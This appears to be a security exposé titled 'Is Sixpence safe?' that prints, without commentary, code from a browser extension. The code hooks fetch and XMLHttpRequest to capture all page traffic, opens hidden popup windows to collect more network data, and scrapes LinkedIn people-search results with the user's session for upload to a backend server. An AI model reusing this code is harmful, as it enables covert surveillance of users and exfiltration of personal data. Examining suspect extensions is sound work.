Is Sixpence safe?

if (typeof window.fetch === "function") {  const nativeFetch = window.fetch;  window.fetch = async (...args) => {    let url = "", method = "GET", headers = {}, body;    if (typeof args[0] === "string") {      try { url = new URL(args[0], window.location.href).href; } catch { url = args[0]; }    } else if (args[0] instanceof URL) {      url = args[0].href;    } else if (args[0] instanceof Request) {      url = args[0].url; method = args[0].method;      args[0].headers.forEach((v, k) => { headers[k] = v; });    }    if (args[1]) {      method = args[1].method || method;      if (args[1].headers) { /* merge Headers, array-pairs, or plain object into `headers` */ }      body = args[1].body;    }    const request = { url, method, headers, body };    try {      const response = await nativeFetch(...args);      const cloned = response.clone();      const respHeaders = {};      cloned.headers.forEach((v, k) => { respHeaders[k] = v; });      let respBody;      const contentType = cloned.headers.get("content-type");      respBody = contentType && contentType.includes("application/json")        ? await cloned.json().catch(() => cloned.text())        : await cloned.text();      messageChannel.sendMessage("pageNetworkActivity", {        request,        response: { status: response.status, statusText: response.statusText, headers: respHeaders, body: respBody },        isFetch: true,        exploreUrl: window.location.href      });      return response;    } catch {}  };}if (typeof window.XMLHttpRequest === "function") {  const nativeOpen = window.XMLHttpRequest.prototype.open;  const nativeSend = window.XMLHttpRequest.prototype.send;  const meta = new WeakMap();  window.XMLHttpRequest.prototype.open = function (method, url, ...rest) {    meta.set(this, { method, url: url.toString(), requestHeaders: {} });    return nativeOpen.call(this, method, url, ...rest);  };  window.XMLHttpRequest.prototype.send = function (body) {    const info = meta.get(this);    if (!info) return nativeSend.call(this, body);    this.addEventListener("loadend", () => {      const respHeaders = {};      this.getAllResponseHeaders().split(/\r\n|\n/).filter(Boolean).forEach(line => {        const [k, v] = line.split(": ");        if (k && v) respHeaders[k.toLowerCase()] = v;      });      let respBody = this.responseText;      if (respHeaders["content-type"]?.includes("application/json")) {        try { respBody = JSON.parse(this.responseText); } catch {}      }      messageChannel.sendMessage("pageNetworkActivity", {        request: { url: info.url, method: info.method, headers: info.requestHeaders, body },        response: { status: this.status, statusText: this.statusText, headers: respHeaders, body: respBody },        exploreUrl: window.location.href      });    });    return nativeSend.call(this, body);  };}

async function jS(e) {  const A = await chrome.windows.create({    url: e,    focused: false,    left: 0,    top: 0,    type: "popup"  });  if (!A.tabs || A.tabs.length === 0) throw new Error("Failed to create silent tab");  return A.tabs[0];}async function WS(webUrl, taskId, dataUrls, dataSelectors, doHighlightElements) {  let tab, windowId, safetyTimer, closed = false;  const closeWindow = async () => {    if (!closed && windowId) {      closed = true;      try { await chrome.windows.remove(windowId); } catch {}    }  };  try {    tab = await jS(webUrl);    windowId = tab.windowId;    safetyTimer = setTimeout(() => closeWindow(), 30000);    await new Promise(resolve => {      const onUpdated = (tabId, info) => {        if (tabId === tab.id && info.status === "complete") {          chrome.tabs.onUpdated.removeListener(onUpdated);          resolve();        }      };      chrome.tabs.onUpdated.addListener(onUpdated);    });    await chrome.tabs.sendMessage(tab.id, {      type: "triggerNetworkDataFlushInProvider",      data: { webUrl, taskId, dataUrls, dataSelectors, doHighlightElements },      timestamp: Date.now()    });    chrome.tabs.onRemoved.addListener(tabId => {      if (tabId === tab.id) { clearTimeout(safetyTimer); closeWindow(); }    });  } catch (err) {    if (safetyTimer) clearTimeout(safetyTimer);    if (tab && tab.id) { try { await chrome.tabs.remove(tab.id); } catch {} }    await closeWindow();    throw err;  }}

async function scrapeLinkedInPeopleSearch(nonce, linkedinHeaders, tabId) {  const authToken = await tokenStore.getItem("local:token");  const userInfo = await fetchLinkedInMe(linkedinHeaders);  const searchToken = await getSearchQueryToken("https://www.linkedin.com/search/results/people", linkedinHeaders);  let collected = 0;  if (!searchToken) return;  async function page(start = 0) {    const result = await runPeopleSearchQuery(searchToken, linkedinHeaders, start);    const profiles = (result?.included ?? []).filter(x => x.template?.toUpperCase() === "UNIVERSAL");    collected += profiles.length;    const totalResultCount = Math.min(result?.data?.data?.searchDashClustersByAll?.metadata?.totalResultCount, MAX_PROFILES);    messenger.sendMessage("showLinkedinProfile", { totalResultCount, progress: collected });    messenger.sendMessage("showLinkedinProfileToTab", { totalResultCount, progress: collected }, tabId);    await fetch(`${BACKEND_URL}/api/service/linkedin/upload`, {      method: "POST",      headers: { "Content-Type": "application/json", Authorization: `Bearer ${authToken}` },      body: JSON.stringify({        nonce,        data: {          userInfo: userInfo.included[0],          connecters: {            g1: profiles.map(p => ({              navigationUrl: p.navigationUrl,              title: p.title,              trackingId: p.trackingId,              trackingUrn: p.trackingUrn,              primarySubtitle: p.primarySubtitle,              secondarySubtitle: p.secondarySubtitle,              avatar: p?.image?.attributes?.[0]?.detailData?.nonEntityProfilePicture?.vectorImage?.artifacts?.[0]?.fileIdentifyingUrlPathSegment            }))          }        }      })    });    await sleep(400);    if (collected >= MAX_PROFILES) {      messenger.sendMessage("uploadLinkedinDone");      messenger.sendMessage("uploadLinkedinDoneToTab", undefined, tabId);      return;    }    if (collected < totalResultCount && profiles.length > 0) {      await page(start + PAGE_SIZE);    } else {      messenger.sendMessage("uploadLinkedinDone");      messenger.sendMessage("uploadLinkedinDoneToTab", undefined, tabId);    }  }  await page();}